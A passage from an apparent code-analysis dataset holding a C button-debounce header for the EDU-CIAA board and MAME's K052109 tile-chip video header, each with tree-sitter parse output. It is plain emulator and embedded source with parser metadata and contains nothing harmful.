"start_point": {"row": 45, "column": 21}, "end_point": {"row": 45, "column": 37}}, {"id": 63, "type": "pointer_declarator", "text": "*pButton", "parent": 61, "children": [64, 65], "start_point": {"row": 45, "column": 38}, "end_point": {"row": 45, "column": 46}}, {"id": 64, "type": "*", "text": "*", "parent": 63, "children": [], "start_point": {"row": 45, "column": 38}, "end_point": {"row": 45, "column": 39}}, {"id": 65, "type": "identifier", "text": "pButton", "parent": 63, "children": [], "start_point": {"row": 45, "column": 39}, "end_point": {"row": 45, "column": 46}}, {"id": 66, "type": "parameter_declaration", "text": "gpioMap_t key", "parent": 60, "children": [67, 68], "start_point": {"row": 45, "column": 48}, "end_point": {"row": 45, "column": 61}}, {"id": 67, "type": "type_identifier", "text": "gpioMap_t", "parent": 66, "children": [], "start_point": {"row": 45, "column": 48}, "end_point": {"row": 45, "column": 57}}, {"id": 68, "type": "identifier", "text": "key", "parent": 66, "children": [], "start_point": {"row": 45, "column": 58}, "end_point": {"row": 45, "column": 61}}, {"id": 69, "type": "declaration", "text": "void debounceSM_Update(debounceButton_t *pButton);", "parent": 0, "children": [70, 71], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 50, "column": 50}}, {"id": 70, "type": "primitive_type", "text": "void", "parent": 69, "children": [], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 50, "column": 4}}, {"id": 71, "type": "function_declarator", "text": "debounceSM_Update(debounceButton_t *pButton)", "parent": 69, "children": [72, 73], "start_point": {"row": 50, "column": 5}, "end_point": {"row": 50, "column": 49}}, {"id": 72, "type": "identifier", "text": "debounceSM_Update", "parent": 71, "children": [], "start_point": {"row": 50, "column": 5}, "end_point": {"row": 50, "column": 22}}, {"id": 73, "type": "parameter_list", "text": "(debounceButton_t *pButton)", "parent": 71, "children": [74], "start_point": {"row": 50, "column": 22}, "end_point": {"row": 50, "column": 49}}, {"id": 74, "type": "parameter_declaration", "text": "debounceButton_t *pButton", "parent": 73, "children": [75, 76], "start_point": {"row": 50, "column": 23}, "end_point": {"row": 50, "column": 48}}, {"id": 75, "type": "type_identifier", "text": "debounceButton_t", "parent": 74, "children": [], "start_point": {"row": 50, "column": 23}, "end_point": {"row": 50, "column": 39}}, {"id": 76, "type": "pointer_declarator", "text": "*pButton", "parent": 74, "children": [77, 78], "start_point": {"row": 50, "column": 40}, "end_point": {"row": 50, "column": 48}}, {"id": 77, "type": "*", "text": "*", "parent": 76, "children": [], "start_point": {"row": 50, "column": 40}, "end_point": {"row": 50, "column": 41}}, {"id": 78, "type": "identifier", "text": "pButton", "parent": 76, "children": [], "start_point": {"row": 50, "column": 41}, "end_point": {"row": 50, "column": 48}}, {"id": 79, "type": "#endif", "text": "#endif", "parent": 0, "children": [], "start_point": {"row": 52, "column": 0}, "end_point": {"row": 52, "column": 6}}]}, "node_categories": {"declarations": {"functions": [58, 71], "variables": [19, 33, 37, 40, 43, 46, 49, 52, 56, 61, 66, 69, 74], "classes": [35, 36], "imports": [6, 7, 9, 10, 12, 13], "modules": [], "enums": [21, 22, 23, 24, 26, 28, 30]}, "statements": {"expressions": [], "assignments": [], "loops": [], "conditionals": [0, 1, 2, 5, 17, 25, 27, 29, 31, 32, 38, 39, 41, 42, 44, 45, 47, 48, 51, 54, 55, 59, 62, 65, 67, 68, 72, 75, 78, 79], "returns": [], "exceptions": []}, "expressions": {"calls": [], "literals": [8, 11, 14], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 58, "universal_type": "function", "name": "unknown", "text_snippet": "debounceSM_Init(debounceButton_t *pButton, gpioMap_t key)"}, {"node_id": 71, "universal_type": "function", "name": "unknown", "text_snippet": "debounceSM_Update(debounceButton_t *pButton)"}], "class_declarations": [{"node_id": 35, "universal_type": "class", "name": "{", "text_snippet": "struct\n{\n\tbool_t buttonPressed;\t\t /**< flag para saber si el boton esta presionado */\n\tbool_t button"}, {"node_id": 36, "universal_type": "class", "name": "unknown", "text_snippet": "struct"}], "import_statements": [{"node_id": 6, "text": "#include \"sapi.h\"\n"}, {"node_id": 7, "text": "#include"}, {"node_id": 9, "text": "#include <stdint.h>\n"}, {"node_id": 10, "text": "#include"}, {"node_id": 12, "text": "#include <stdbool.h>\n"}, {"node_id": 13, "text": "#include"}]}, "original_source_code": "/**\n * @file debounce.h\n * @brief Modulo para lectura de botones con antirebote en EDU-CIAA\n * @author <NAME>\n * @date Apr 1, 2020\n */\n\n#ifndef DEBOUNCE_H_\n#define DEBOUNCE_H_\n\n#include \"sapi.h\"\n#include <stdint.h>\n#include <stdbool.h>\n\n#define DEBOUNCE_TIME 40\n\n/**\n * @enum debounceState_t\n * @brief enumeracion para los estados de la FSM\n */\ntypedef enum\n{\n\tUP,\n\tFALLING,\n\tDOWN,\n\tRISING\n} debounceState_t;\n/**\n * @struct debounceButton_t\n * @brief estructura usada para el manejo de la FSM\n */\ntypedef struct\n{\n\tbool_t buttonPressed;\t\t /**< flag para saber si el boton esta presionado */\n\tbool_t buttonReleased;\t\t /**< flag para saber si el boton esta presionado */\n\tgpioMap_t key;\t\t\t\t /**< Boton que tiene asignado la FSM */\n\tdebounceState_t buttonState; /**< estado en el que se encuentra la FSM */\n\tuint32_t time_down;\t\t\t /**< momento en que se presiona el boton */\n\tuint32_t elapsed_time;\t\t /**< tiempo durante el cual se mantuvo el boton presionado */\n} debounceButton_t;\n/**\n * @brief Funcion para inicializar la FSM para un boton\n * @param pButton estructura de la FSM que se desea inicializar\n * @param key tecla o boton que se desea asignar a pButton para menejo con la FSM\n */\nvoid debounceSM_Init(debounceButton_t *pButton, gpioMap_t key);\n/**\n * @brief Funcion para control de la FSM\n * @param pButton structura de la FSM que se desea controlar\n */\nvoid debounceSM_Update(debounceButton_t *pButton);\n\n#endif /* DEBOUNCE_H_ */\n"}
81,119
c
// license:BSD-3-Clause // copyright-holders:<NAME>,<NAME>, <NAME> #ifndef MAME_VIDEO_K052109_H #define MAME_VIDEO_K052109_H #pragma once #include "screen.h" typedef device_delegate<void (int layer, int bank, int *code, int *color, int *flags, int *priority)> k052109_cb_delegate; #define K052109_CB_MEMBER(_name) void _name(int layer, int bank, int *code, int *color, int *flags, int *priority) #define MCFG_K052109_CB(_class, _method) \ downcast<k052109_device &>(*device).set_k052109_callback(k052109_cb_delegate(&_class::_method, #_class "::" #_method, this)); #define MCFG_K052109_CHARRAM(_ram) \ downcast<k052109_device &>(*device).set_ram(_ram); #define MCFG_K052109_SCREEN_TAG(_tag) \ downcast<k052109_device &>(*device).set_screen_tag("^" _tag); #define MCFG_K052109_IRQ_HANDLER(_devcb) \ devcb = &downcast<k052109_device &>(*device).set_irq_handler(DEVCB_##_devcb); class k052109_device : public device_t, public device_gfx_interface { static const gfx_layout charlayout; static const gfx_layout charlayout_ram; DECLARE_GFXDECODE_MEMBER(gfxinfo); DECLARE_GFXDECODE_MEMBER(gfxinfo_ram); public: k052109_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock); ~k052109_device() {} template <class Object> devcb_base &set_irq_handler(Object &&cb) { return m_irq_handler.set_callback(std::forward<Object>(cb)); } void set_k052109_callback(k052109_cb_delegate callback) { m_k052109_cb = callback; } void set_ram(bool ram); void set_screen_tag(const char *tag) { m_screen.set_tag(tag); } /* The callback is passed: - layer number (0 = FIX, 1 = A, 2 = B) - bank (range 0-3, output of the pins CAB1 and CAB2) - code (range 00-FF, output of the pins VC3-VC10) NOTE: code is in the range 0000-FFFF for X-Men, which uses extra RAM - color (range 00-FF, output of the pins COL0-COL7) The callback must put: - in code the resulting tile number - in color the resulting color index - if necessary, put flags and/or priority for the TileMap code in the tile_info structure (e.g. TILE_FLIPX). Note that TILE_FLIPY is handled internally by the chip so it must not be set by the callback. */ DECLARE_READ8_MEMBER( read ); DECLARE_WRITE8_MEMBER( write ); DECLARE_READ16_MEMBER( word_r ); DECLARE_WRITE16_MEMBER( word_w ); DECLARE_READ16_MEMBER( lsb_r ); DECLARE_WRITE16_MEMBER( lsb_w ); void set_rmrd_line(int state); int get_rmrd_line(); void tilemap_update(); int is_irq_enabled(); void tilemap_mark_dirty(int tmap_num); void tilemap_draw(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority); void vblank_callback(screen_device &screen, bool state); protected: // device-level overrides virtual void device_start() override; virtual void device_reset() override; private: // internal state std::unique_ptr<uint8_t[]> m_ram; uint8_t *m_videoram_F; uint8_t *m_videoram_A; uint8_t *m_videoram_B; uint8_t *m_videoram2_F; uint8_t *m_videoram2_A; uint8_t *m_videoram2_B; uint8_t *m_colorram_F; uint8_t *m_colorram_A; uint8_t *m_colorram_B; tilemap_t *m_tilemap[3]; int m_tileflip_enable; uint8_t m_charrombank[4]; uint8_t m_charrombank_2[4]; uint8_t m_has_extra_video_ram; int32_t m_rmrd_line; uint8_t m_irq_enabled; uint8_t m_romsubbank, m_scrollctrl; optional_region_ptr<uint8_t> m_char_rom; optional_device<screen_device> m_screen; k052109_cb_delegate m_k052109_cb; devcb_write_line m_irq_handler; devcb_write_line m_firq_handler; devcb_write_line m_nmi_handler; TILE_GET_INFO_MEMBER(get_tile_info0); TILE_GET_INFO_MEMBER(get_tile_info1); TILE_GET_INFO_MEMBER(get_tile_info2); void get_tile_info( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 ); void tileflip_reset(); }; DECLARE_DEVICE_TYPE(K052109, k052109_device) #endif // MAME_VIDEO_K052109_H
39.8
96
(translation_unit) "// license:BSD-3-Clause\n// copyright-holders:<NAME>,<NAME>, <NAME>\n#ifndef MAME_VIDEO_K052109_H\n#define MAME_VIDEO_K052109_H\n\n#pragma once\n\n#include "screen.h"\n\ntypedef device_delegate<void (int layer, int bank, int *code, int *color, int *flags, int *priority)> k052109_cb_delegate;\n#define K052109_CB_MEMBER(_name) void _name(int layer, int bank, int *code, int *color, int *flags, int *priority)\n\n#define MCFG_K052109_CB(_class, _method) \\n downcast<k052109_device &>(*device).set_k052109_callback(k052109_cb_delegate(&_class::_method, #_class "::" #_method, this));\n\n#define MCFG_K052109_CHARRAM(_ram) \\n downcast<k052109_device &>(*device).set_ram(_ram);\n\n#define MCFG_K052109_SCREEN_TAG(_tag) \\n downcast<k052109_device &>(*device).set_screen_tag("^" _tag);\n\n#define MCFG_K052109_IRQ_HANDLER(_devcb) \\n devcb = &downcast<k052109_device &>(*device).set_irq_handler(DEVCB_##_devcb);\n\n\nclass k052109_device : public device_t, public device_gfx_interface\n{\n static const gfx_layout charlayout;\n static const gfx_layout charlayout_ram;\n DECLARE_GFXDECODE_MEMBER(gfxinfo);\n DECLARE_GFXDECODE_MEMBER(gfxinfo_ram);\n\npublic:\n k052109_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock);\n ~k052109_device() {}\n\n template <class Object> devcb_base &set_irq_handler(Object &&cb)\n { return m_irq_handler.set_callback(std::forward<Object>(cb)); }\n\n void set_k052109_callback(k052109_cb_delegate callback) { m_k052109_cb = callback; }\n void set_ram(bool ram);\n void set_screen_tag(const char *tag) { m_screen.set_tag(tag); }\n\n /*\n The callback is passed:\n - layer number (0 = FIX, 1 = A, 2 = B)\n - bank (range 0-3, output of the pins CAB1 and CAB2)\n - code (range 00-FF, output of the pins VC3-VC10)\n NOTE: code is in the range 0000-FFFF for X-Men, which uses extra RAM\n - color (range 00-FF, output of the pins COL0-COL7)\n The callback must put:\n - in code the resulting tile number\n - in color the resulting color index\n - if necessary, put flags and/or priority for the TileMap code in the tile_info\n structure (e.g. TILE_FLIPX). Note that TILE_FLIPY is handled internally by the\n chip so it must not be set by the callback.\n */\n\n DECLARE_READ8_MEMBER( read );\n DECLARE_WRITE8_MEMBER( write );\n DECLARE_READ16_MEMBER( word_r );\n DECLARE_WRITE16_MEMBER( word_w );\n DECLARE_READ16_MEMBER( lsb_r );\n DECLARE_WRITE16_MEMBER( lsb_w );\n\n void set_rmrd_line(int state);\n int get_rmrd_line();\n void tilemap_update();\n int is_irq_enabled();\n void tilemap_mark_dirty(int tmap_num);\n void tilemap_draw(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority);\n\n void vblank_callback(screen_device &screen, bool state);\n\nprotected:\n // device-level overrides\n virtual void device_start() override;\n virtual void device_reset() override;\n\nprivate:\n // internal state\n std::unique_ptr<uint8_t[]> m_ram;\n uint8_t *m_videoram_F;\n uint8_t *m_videoram_A;\n uint8_t *m_videoram_B;\n uint8_t *m_videoram2_F;\n uint8_t *m_videoram2_A;\n uint8_t *m_videoram2_B;\n uint8_t *m_colorram_F;\n uint8_t *m_colorram_A;\n uint8_t *m_colorram_B;\n\n tilemap_t *m_tilemap[3];\n int m_tileflip_enable;\n uint8_t m_charrombank[4];\n uint8_t m_charrombank_2[4];\n uint8_t m_has_extra_video_ram;\n int32_t m_rmrd_line;\n uint8_t m_irq_enabled;\n uint8_t m_romsubbank, m_scrollctrl;\n\n optional_region_ptr<uint8_t> m_char_rom;\n\n optional_device<screen_device> m_screen;\n\n k052109_cb_delegate m_k052109_cb;\n\n devcb_write_line m_irq_handler;\n devcb_write_line m_firq_handler;\n devcb_write_line m_nmi_handler;\n\n TILE_GET_INFO_MEMBER(get_tile_info0);\n TILE_GET_INFO_MEMBER(get_tile_info1);\n TILE_GET_INFO_MEMBER(get_tile_info2);\n\n void get_tile_info( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 );\n void tileflip_reset();\n};\n\nDECLARE_DEVICE_TYPE(K052109, k052109_device)\n\n#endif // MAME_VIDEO_K052109_H\n" (comment) "// license:BSD-3-Clause" (comment) "// copyright-holders:<NAME>,<NAME>, <NAME>" (preproc_ifdef) "#ifndef MAME_VIDEO_K052109_H\n#define MAME_VIDEO_K052109_H\n\n#pragma once\n\n#include "screen.h"\n\ntypedef device_delegate<void (int layer, int bank, int *code, int *color, int *flags, int *priority)> k052109_cb_delegate;\n#define K052109_CB_MEMBER(_name) void _name(int layer, int bank, int *code, int *color, int *flags, int *priority)\n\n#define MCFG_K052109_CB(_class, _method) \\n downcast<k052109_device &>(*device).set_k052109_callback(k052109_cb_delegate(&_class::_method, #_class "::" #_method, this));\n\n#define MCFG_K052109_CHARRAM(_ram) \\n downcast<k052109_device &>(*device).set_ram(_ram);\n\n#define MCFG_K052109_SCREEN_TAG(_tag) \\n downcast<k052109_device &>(*device).set_screen_tag("^" _tag);\n\n#define MCFG_K052109_IRQ_HANDLER(_devcb) \\n devcb = &downcast<k052109_device &>(*device).set_irq_handler(DEVCB_##_devcb);\n\n\nclass k052109_device : public device_t, public device_gfx_interface\n{\n static const gfx_layout charlayout;\n static const gfx_layout charlayout_ram;\n DECLARE_GFXDECODE_MEMBER(gfxinfo);\n DECLARE_GFXDECODE_MEMBER(gfxinfo_ram);\n\npublic:\n k052109_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock);\n ~k052109_device() {}\n\n template <class Object> devcb_base &set_irq_handler(Object &&cb)\n { return m_irq_handler.set_callback(std::forward<Object>(cb)); }\n\n void set_k052109_callback(k052109_cb_delegate callback) { m_k052109_cb = callback; }\n void set_ram(bool ram);\n void set_screen_tag(const char *tag) { m_screen.set_tag(tag); }\n\n /*\n The callback is passed:\n - layer number (0 = FIX, 1 = A, 2 = B)\n - bank (range 0-3, output of the pins CAB1 and CAB2)\n - code (range 00-FF, output of the pins VC3-VC10)\n NOTE: code is in the range 0000-FFFF for X-Men, which uses extra RAM\n - color (range 00-FF, output of the pins COL0-COL7)\n The callback must put:\n - in code the resulting tile number\n - in color the resulting color index\n - if necessary, put flags and/or priority for the TileMap code in the tile_info\n structure (e.g. TILE_FLIPX). Note that TILE_FLIPY is handled internally by the\n chip so it must not be set by the callback.\n */\n\n DECLARE_READ8_MEMBER( read );\n DECLARE_WRITE8_MEMBER( write );\n DECLARE_READ16_MEMBER( word_r );\n DECLARE_WRITE16_MEMBER( word_w );\n DECLARE_READ16_MEMBER( lsb_r );\n DECLARE_WRITE16_MEMBER( lsb_w );\n\n void set_rmrd_line(int state);\n int get_rmrd_line();\n void tilemap_update();\n int is_irq_enabled();\n void tilemap_mark_dirty(int tmap_num);\n void tilemap_draw(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority);\n\n void vblank_callback(screen_device &screen, bool state);\n\nprotected:\n // device-level overrides\n virtual void device_start() override;\n virtual void device_reset() override;\n\nprivate:\n // internal state\n std::unique_ptr<uint8_t[]> m_ram;\n uint8_t *m_videoram_F;\n uint8_t *m_videoram_A;\n uint8_t *m_videoram_B;\n uint8_t *m_videoram2_F;\n uint8_t *m_videoram2_A;\n uint8_t *m_videoram2_B;\n uint8_t *m_colorram_F;\n uint8_t *m_colorram_A;\n uint8_t *m_colorram_B;\n\n tilemap_t *m_tilemap[3];\n int m_tileflip_enable;\n uint8_t m_charrombank[4];\n uint8_t m_charrombank_2[4];\n uint8_t m_has_extra_video_ram;\n int32_t m_rmrd_line;\n uint8_t m_irq_enabled;\n uint8_t m_romsubbank, m_scrollctrl;\n\n optional_region_ptr<uint8_t> m_char_rom;\n\n optional_device<screen_device> m_screen;\n\n k052109_cb_delegate m_k052109_cb;\n\n devcb_write_line m_irq_handler;\n devcb_write_line m_firq_handler;\n devcb_write_line m_nmi_handler;\n\n TILE_GET_INFO_MEMBER(get_tile_info0);\n TILE_GET_INFO_MEMBER(get_tile_info1);\n TILE_GET_INFO_MEMBER(get_tile_info2);\n\n void get_tile_info( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 );\n void tileflip_reset();\n};\n\nDECLARE_DEVICE_TYPE(K052109, k052109_device)\n\n#endif" (#ifndef) "#ifndef" (identifier) "MAME_VIDEO_K052109_H" (preproc_def) "#define MAME_VIDEO_K052109_H\n" (#define) "#define" (identifier) "MAME_VIDEO_K052109_H" (preproc_call) "#pragma once\n" (preproc_directive) "#pragma" (preproc_arg) "once" (preproc_include) "#include "screen.h"\n" (#include) "#include" (string_literal) ""screen.h"" (") """ (string_content) "screen.h" (") """ (type_definition) "typedef device_delegate<void (int layer, int bank, int *code, int *color, int *flags, int *priority)> k052109_cb_delegate;" (typedef) "typedef" (type_identifier) "device_delegate" (ERROR) "<void (int layer, int bank, int *code, int *color, int *flags, int *priority)>" (<) "<" (function_declarator) "void (int layer, int bank, int *code, int *color, int *flags, int *priority)" (primitive_type) "void" (parameter_list) "(int layer, int bank, int *code, int *color, int *flags, int *priority)" (() "(" (parameter_declaration) "int layer" (primitive_type) "int" (identifier) "layer" (,) "," (parameter_declaration) "int bank" (primitive_type) "int" (identifier) "bank" (,) "," (parameter_declaration) "int *code" (primitive_type) "int" (pointer_declarator) "*code" (*) "*" (identifier) "code" (,) "," (parameter_declaration) "int *color" (primitive_type) "int" (pointer_declarator) "*color" (*) "*" (identifier) "color" (,) "," (parameter_declaration) "int *flags" (primitive_type) "int" (pointer_declarator) "*flags" (*) "*" (identifier) "flags" (,) "," (parameter_declaration) "int *priority" (primitive_type) "int" (pointer_declarator) "*priority" (*) "*" (identifier) "priority" ()) ")" (>) ">" (type_identifier) "k052109_cb_delegate" (;) ";" (preproc_function_def) "#define K052109_CB_MEMBER(_name) void _name(int layer, int bank, int *code, int *color, int *flags, int *priority)\n" (#define) "#define" (identifier) "K052109_CB_MEMBER" (preproc_params) "(_name)" (() "(" (identifier) "_name" ()) ")" (preproc_arg) "void _name(int layer, int bank, int *code, int *color, int *flags, int *priority)" (preproc_function_def) "#define MCFG_K052109_CB(_class, _method) \\n downcast<k052109_device &>(*device).set_k052109_callback(k052109_cb_delegate(&_class::_method, #_class "::" #_method, this));\n" (#define) "#define" (identifier) "MCFG_K052109_CB" (preproc_params) "(_class, _method)" (() "(" (identifier) "_class" (,) "," (identifier) "_method" ()) ")" (preproc_arg) "downcast<k052109_device &>(*device).set_k052109_callback(k052109_cb_delegate(&_class::_method, #_class "::" #_method, this));" (preproc_function_def) "#define MCFG_K052109_CHARRAM(_ram) \\n downcast<k052109_device &>(*device).set_ram(_ram);\n" (#define) "#define" (identifier) "MCFG_K052109_CHARRAM" (preproc_params) "(_ram)" (() "(" (identifier) "_ram" ()) ")" (preproc_arg) "downcast<k052109_device &>(*device).set_ram(_ram);" (preproc_function_def) "#define MCFG_K052109_SCREEN_TAG(_tag) \\n downcast<k052109_device &>(*device).set_screen_tag("^" _tag);\n" (#define) "#define" (identifier) "MCFG_K052109_SCREEN_TAG" (preproc_params) "(_tag)" (() "(" (identifier) "_tag" ()) ")" (preproc_arg) "downcast<k052109_device &>(*device).set_screen_tag("^" _tag);" (preproc_function_def) "#define MCFG_K052109_IRQ_HANDLER(_devcb) \\n devcb = &downcast<k052109_device &>(*device).set_irq_handler(DEVCB_##_devcb);\n" (#define) "#define" (identifier) "MCFG_K052109_IRQ_HANDLER" (preproc_params) "(_devcb)" (() "(" (identifier) "_devcb" ()) ")" (preproc_arg) "devcb = &downcast<k052109_device &>(*device).set_irq_handler(DEVCB_##_devcb);" (ERROR) "class k052109_device : public device_t, public device_gfx_interface" (type_identifier) "class" (identifier) "k052109_device" (ERROR) ": public device_t" (:) ":" (identifier) "public" (identifier) "device_t" (,) "," (identifier) "public" (identifier) "device_gfx_interface" (compound_statement) "{\n static const gfx_layout charlayout;\n static const gfx_layout charlayout_ram;\n DECLARE_GFXDECODE_MEMBER(gfxinfo);\n DECLARE_GFXDECODE_MEMBER(gfxinfo_ram);\n\npublic:\n k052109_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock);\n ~k052109_device() {}\n\n template <class Object> devcb_base &set_irq_handler(Object &&cb)\n { return m_irq_handler.set_callback(std::forward<Object>(cb)); }\n\n void set_k052109_callback(k052109_cb_delegate callback) { m_k052109_cb = callback; }\n void set_ram(bool ram);\n void set_screen_tag(const char *tag) { m_screen.set_tag(tag); }\n\n /*\n The callback is passed:\n - layer number (0 = FIX, 1 = A, 2 = B)\n - bank (range 0-3, output of the pins CAB1 and CAB2)\n - code (range 00-FF, output of the pins VC3-VC10)\n NOTE: code is in the range 0000-FFFF for X-Men, which uses extra RAM\n - color (range 00-FF, output of the pins COL0-COL7)\n The callback must put:\n - in code the resulting tile number\n - in color the resulting color index\n - if necessary, put flags and/or priority for the TileMap code in the tile_info\n structure (e.g. TILE_FLIPX). Note that TILE_FLIPY is handled internally by the\n chip so it must not be set by the callback.\n */\n\n DECLARE_READ8_MEMBER( read );\n DECLARE_WRITE8_MEMBER( write );\n DECLARE_READ16_MEMBER( word_r );\n DECLARE_WRITE16_MEMBER( word_w );\n DECLARE_READ16_MEMBER( lsb_r );\n DECLARE_WRITE16_MEMBER( lsb_w );\n\n void set_rmrd_line(int state);\n int get_rmrd_line();\n void tilemap_update();\n int is_irq_enabled();\n void tilemap_mark_dirty(int tmap_num);\n void tilemap_draw(screen_device &screen, bitmap_ind16 &bitmap, const rectangle &cliprect, int tmap_num, uint32_t flags, uint8_t priority);\n\n void vblank_callback(screen_device &screen, bool state);\n\nprotected:\n // device-level overrides\n virtual void device_start() override;\n virtual void device_reset() override;\n\nprivate:\n // internal state\n std::unique_ptr<uint8_t[]> m_ram;\n uint8_t *m_videoram_F;\n uint8_t *m_videoram_A;\n uint8_t *m_videoram_B;\n uint8_t *m_videoram2_F;\n uint8_t *m_videoram2_A;\n uint8_t *m_videoram2_B;\n uint8_t *m_colorram_F;\n uint8_t *m_colorram_A;\n uint8_t *m_colorram_B;\n\n tilemap_t *m_tilemap[3];\n int m_tileflip_enable;\n uint8_t m_charrombank[4];\n uint8_t m_charrombank_2[4];\n uint8_t m_has_extra_video_ram;\n int32_t m_rmrd_line;\n uint8_t m_irq_enabled;\n uint8_t m_romsubbank, m_scrollctrl;\n\n optional_region_ptr<uint8_t> m_char_rom;\n\n optional_device<screen_device> m_screen;\n\n k052109_cb_delegate m_k052109_cb;\n\n devcb_write_line m_irq_handler;\n devcb_write_line m_firq_handler;\n devcb_write_line m_nmi_handler;\n\n TILE_GET_INFO_MEMBER(get_tile_info0);\n TILE_GET_INFO_MEMBER(get_tile_info1);\n TILE_GET_INFO_MEMBER(get_tile_info2);\n\n void get_tile_info( tile_data &tileinfo, int tile_index, int layer, uint8_t *cram, uint8_t *vram1, uint8_t *vram2 );\n void tileflip_reset();\n}" ({) "{" (declaration) "static const gfx_layout charlayout;" (storage_class_specifier) "static" (static) "static" (type_qualifier) "const" (const) "const" (type_identifier) "gfx_layout" (identifier) "charlayout" (;) ";" (declaration) "static const gfx_layout charlayout_ram;" (storage_class_specifier) "static" (static) "static" (type_qualifier) "const" (const) "const" (type_identifier) "gfx_layout" (identifier) "charlayout_ram" (;) ";" (expression_statement) "DECLARE_GFXDECODE_MEMBER(gfxinfo);" (call_expression) "DECLARE_GFXDECODE_MEMBER(gfxinfo)" (identifier) "DECLARE_GFXDECODE_MEMBER" (argument_list) "(gfxinfo)" (() "(" (identifier) "gfxinfo" ()) ")" (;) ";" (expression_statement) "DECLARE_GFXDECODE_MEMBER(gfxinfo_ram);" (call_expression) "DECLARE_GFXDECODE_MEMBER(gfxinfo_ram)" (identifier) "DECLARE_GFXDECODE_MEMBER" (argument_list) "(gfxinfo_ram)" (() "(" (identifier) "gfxinfo_ram" ()) ")" (;) ";" (labeled_statement) "public:\n k052109_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock);" (statement_identifier) "public" (:) ":" (expression_statement) "k052109_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t clock);" (comma_expression) "k052109_device(const machine_config &mconfig, const char *tag, device_t *owner, uint32_t" (binary_expression) "k052109_device(const machine_config &mconfig" (identifier) "k052109_device" (ERROR) "(const machine_config" (() "(" (type_descriptor) "const machine_config" (type_qualifier) "const" (const) "const" (type_identifier) "machine_config" (&) "&" (identifier) "mconfig" (,) "," (comma_expression) "const char *tag, device_t *owner, uint32_t" (binary_expression) "const char *tag" (identifier) "const" (ERROR) "char" (identifier) "char" (*) "*" (identifier) "tag" (,) "," (comma_expression) "device_t *owner, uint32_t" (binary_expression) "device_t *owner" (identifier) "device_t" (*) "*" (identifier) "owner" (,) "," (identifier) "uint32_t" (ERROR) "clock)" (identifier) "clock" ()) ")" (;) ";" (expression_statement) "~k052109_device()" (unary_expression) "~k052109_device()" (~) "~" (call_expression) "k052109_device()" (identifier) "k052109_device" (argument_list) "()" (() "(" ()) ")" (;) "" (compound_statement) "{}" ({) "{" (}) "}" (expression_statement) "template <class Object> devcb_base &set_irq_handler(Object &&cb)" (binary_expression) "template <class Object> devcb_base &set_irq_handler(Object &&cb)" (binary_expression) "template <class Object> devcb_base" (binary_expression) "template <class Object" (identifier) "template" (<) "<" (ERROR) "class" (identifier) "class" (identifier) "Object" (>) ">" (identifier) "devcb_base" (&) "&" (call_expression) "set_irq_handler(Object &&cb)" (identifier) "set_irq_handler" (argument_list) "(Object &&cb)" (() "(" (binary_expression) "Object &&cb" (identifier) "Object" (&&) "&&" (identifier) "cb" ()) ")" (;) "" (compound_statement) "{ return m_irq_handler.set_callback(std::forward<Object>(cb)); }" ({) "{" (return_statement) "return m_irq_handler.set_callback(std::forward<Object>(cb));" (return) "return" (call_expression) "m_irq_handler.set_callback(std::forward<Object>(cb))" (field_expression) "m_irq_handler.set_callback" (identifier) "m_irq_handler" (.) "." (field_identifier) "set_callback" (argument_list) "(std::forward<Object>(cb))" (() "(" (ERROR) "std::" (identifier) "std" (:) ":" (:) ":" (binary_expression) "forward<Object>(cb)" (binary_expression) "forward<Object" (identifier) "forward" (<) "<" (identifier) "Object" (>) ">" (parenthesized_expression) "(cb)" (() "(" (identifier) "cb" ()) ")" ()) ")" (;) ";" (}) "}" (function_definition) "void set_k052109_callback(k052109_cb_delegate callback) { m_k052109_cb = callback; }" (primitive_type) "void" (function_declarator) "set_k052109_callback(k052109_cb_delegate callback)" (identifier) "set_k052109_callback" (parameter_list) "(k052109_cb_delegate callback)" (() "(" (parameter_declaration) "k052109_cb_delegate callback" (type_identifier) "k052109_cb_delegate" (identifier) "callback" ()) ")" (compound_statement) "{ m_k052109_cb = callback; }" ({) "{" (expression_statement) "m_k052109_cb = callback;" (assignment_expression) "m_k052109_cb = callback" (identifier) "m_k052109_cb" (=) "=" (identifier) "callback" (;) ";" (}) "}" (declaration) "void set_ram(bool ram);" (primitive_type) "void" (function_declarator) "set_ram(bool ram)" (identifier) "set_ram" (parameter_list) "(bool ram)" (() "(" (parameter_declaration) "bool ram" (primitive_type) "bool" (identifier) "ram" ()) ")" (;) ";" (function_definition) "void set_screen_tag(const char *tag) { m_screen.set_tag(tag); }" (primitive_type) "void" (function_declarator) "set_screen_tag(const char *tag)" (identifier) "set_screen_tag" (parameter_list) "(const char *tag)" (() "(" (parameter_declaration) "const char *tag" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "*tag" (*) "*" (identifier) "tag" ()) ")" (compound_statement) "{ m_screen.set_tag(tag); }" ({) "{" (expression_statement) "m_screen.set_tag(tag);" (call_expression) "m_screen.set_tag(tag)" (field_expression) "m_screen.set_tag" (identifier) "m_screen" (.) "." (field_identifier) "set_tag" (argument_list) "(tag)" (() "(" (identifier) "tag" ()) ")" (;) ";" (}) "}" (comment) "/*\n The callback is passed:\n - layer number (0 = FIX, 1 = A, 2 = B)\n - bank (range 0-3, output of the pins CAB1 and CAB2)\n - code (range 00-FF, output of the pins VC3-VC10)\n NOTE: code is in the range 0000-FFFF for X-Men, which uses extra RAM\n - color (range 00-FF, output of the pins COL0-COL7)\n The callback must put:\n - in code the resulting tile number\n - in color the resulting color index\n - if necessary, put flags and/or priority for the TileMap 